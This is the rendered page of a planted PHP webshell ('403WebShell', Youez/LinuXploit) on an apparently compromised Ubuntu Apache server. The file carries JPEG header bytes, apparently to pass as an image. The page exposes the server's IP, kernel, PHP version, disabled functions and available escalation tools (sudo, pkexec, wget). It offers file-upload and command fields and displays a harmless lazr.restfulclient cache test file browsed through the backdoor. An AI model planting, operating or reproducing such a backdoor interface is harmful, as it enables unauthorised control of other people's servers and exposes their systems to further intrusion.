����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.16.212.224
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/lazr/restfulclient/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/lazr/restfulclient/tests/test_atomicfilecache.py
# Copyright 2012 Canonical Ltd.

# This file is part of lazr.restfulclient.
#
# lazr.restfulclient is free software: you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public License
# as published by the Free Software Foundation, version 3 of the
# License.
#
# lazr.restfulclient is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied warranty
# of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with lazr.restfulclient. If not, see <http://www.gnu.org/licenses/>.

"""Tests for the atomic file cache."""

__metaclass__ = type

import shutil
import tempfile
import unittest

import sys
PY3 = sys.version_info[0] >= 3
if PY3:
    binary_type = bytes
else:
    binary_type = str

import httplib2

from lazr.restfulclient._browser import (
    AtomicFileCache, safename)


class TestFileCacheInterface(unittest.TestCase):
    """Tests for ``AtomicFileCache``."""

    file_cache_factory = httplib2.FileCache

    unicode_bytes = b'pa\xc9\xaa\xce\xb8\xc9\x99n'
    unicode_text = unicode_bytes.decode('utf-8')

    def setUp(self):
        super(TestFileCacheInterface, self).setUp()
        self.cache_dir = tempfile.mkdtemp()

    def tearDown(self):
        shutil.rmtree(self.cache_dir)
        super(TestFileCacheInterface, self).tearDown()

    def make_file_cache(self):
        """Make a FileCache-like object to be tested."""
        return self.file_cache_factory(self.cache_dir, safename)

    def test_get_non_existent_key(self):
        # get() returns None if the key does not exist.
        cache = self.make_file_cache()
        self.assertIs(None, cache.get('nonexistent'))

    def test_set_key(self):
        # A key set with set() can be got by get().
        cache = self.make_file_cache()
        cache.set('key', b'value')
        self.assertEqual(b'value', cache.get('key'))

    def test_set_twice_overrides(self):
        # Setting a key again overrides the value.
        cache = self.make_file_cache()
        cache.set('key', b'value')
        cache.set('key', b'new-value')
        self.assertEqual(b'new-value', cache.get('key'))

    def test_delete_absent_key(self):
        # Deleting a key that's not there does nothing.
        cache = self.make_file_cache()
        cache.delete('nonexistent')
        self.assertIs(None, cache.get('nonexistent'))

    def test_delete_key(self):
        # A key once set can be deleted.  Further attempts to get that key
        # return None.
        cache = self.make_file_cache()
        cache.set('key', b'value')
        cache.delete('key')
        self.assertIs(None, cache.get('key'))

    def test_get_non_string_key(self):
        # get() raises TypeError if asked to get a non-string key.
        cache = self.make_file_cache()
        self.assertRaises(TypeError, cache.get, 42)

    def test_delete_non_string_key(self):
        # delete() raises TypeError if asked to delete a non-string key.
        cache = self.make_file_cache()
        self.assertRaises(TypeError, cache.delete, 42)

    def test_set_non_string_key(self):
        # set() raises TypeError if asked to set a non-string key.
        cache = self.make_file_cache()
        self.assertRaises(TypeError, cache.set, 42, 'the answer')

    def test_set_non_string_value(self):
        # set() raises TypeError if asked to set a key to a non-string value.
        # Attempts to retrieve that value return the empty string.  This is
        # probably a bug in httplib2.FileCache.
        cache = self.make_file_cache()
        self.assertRaises(TypeError, cache.set, 'answer', 42)
        self.assertEqual(b'', cache.get('answer'))

    def test_get_unicode(self):
        # get() can retrieve unicode keys.
        cache = self.make_file_cache()
        self.assertIs(None, cache.get(self.unicode_text))

    def test_set_unicode_keys(self):
        cache = self.make_file_cache()
        cache.set(self.unicode_text, b'value')
        self.assertEqual(b'value', cache.get(self.unicode_text))

    def test_set_unicode_value(self):
        # set() cannot store unicode values.  Values must be bytes.
        cache = self.make_file_cache()
        error = TypeError if PY3 else UnicodeEncodeError
        self.assertRaises(
            error, cache.set, 'key', self.unicode_text)

    def test_delete_unicode(self):
        # delete() can remove unicode keys.
        cache = self.make_file_cache()
        cache.set(self.unicode_text, b'value')
        cache.delete(self.unicode_text)
        self.assertIs(None, cache.get(self.unicode_text))


class TestAtomicFileCache(TestFileCacheInterface):
    """Tests for ``AtomicFileCache``."""

    file_cache_factory = AtomicFileCache

    @staticmethod
    def prefix_safename(x):
        if isinstance(x, binary_type):
            x = x.decode('utf-8')
        return AtomicFileCache.TEMPFILE_PREFIX + x

    def test_set_non_string_value(self):
        # set() raises TypeError if asked to set a key to a non-string value.
        # Attempts to retrieve that value act is if it were never set.
        #
        # Note: This behaviour differs from httplib2.FileCache.
        cache = self.make_file_cache()
        self.assertRaises(TypeError, cache.set, 'answer', 42)
        self.assertIs(None, cache.get('answer'))

    # Implementation-specific tests follow.

    def test_bad_safename_get(self):
        safename = self.prefix_safename
        cache = AtomicFileCache(self.cache_dir, safename)
        self.assertRaises(ValueError, cache.get, 'key')

    def test_bad_safename_set(self):
        safename = self.prefix_safename
        cache = AtomicFileCache(self.cache_dir, safename)
        self.assertRaises(ValueError, cache.set, 'key', b'value')

    def test_bad_safename_delete(self):
        safename = self.prefix_safename
        cache = AtomicFileCache(self.cache_dir, safename)
        self.assertRaises(ValueError, cache.delete, 'key')

Youez - 2016 - github.com/yon3zu
LinuXploit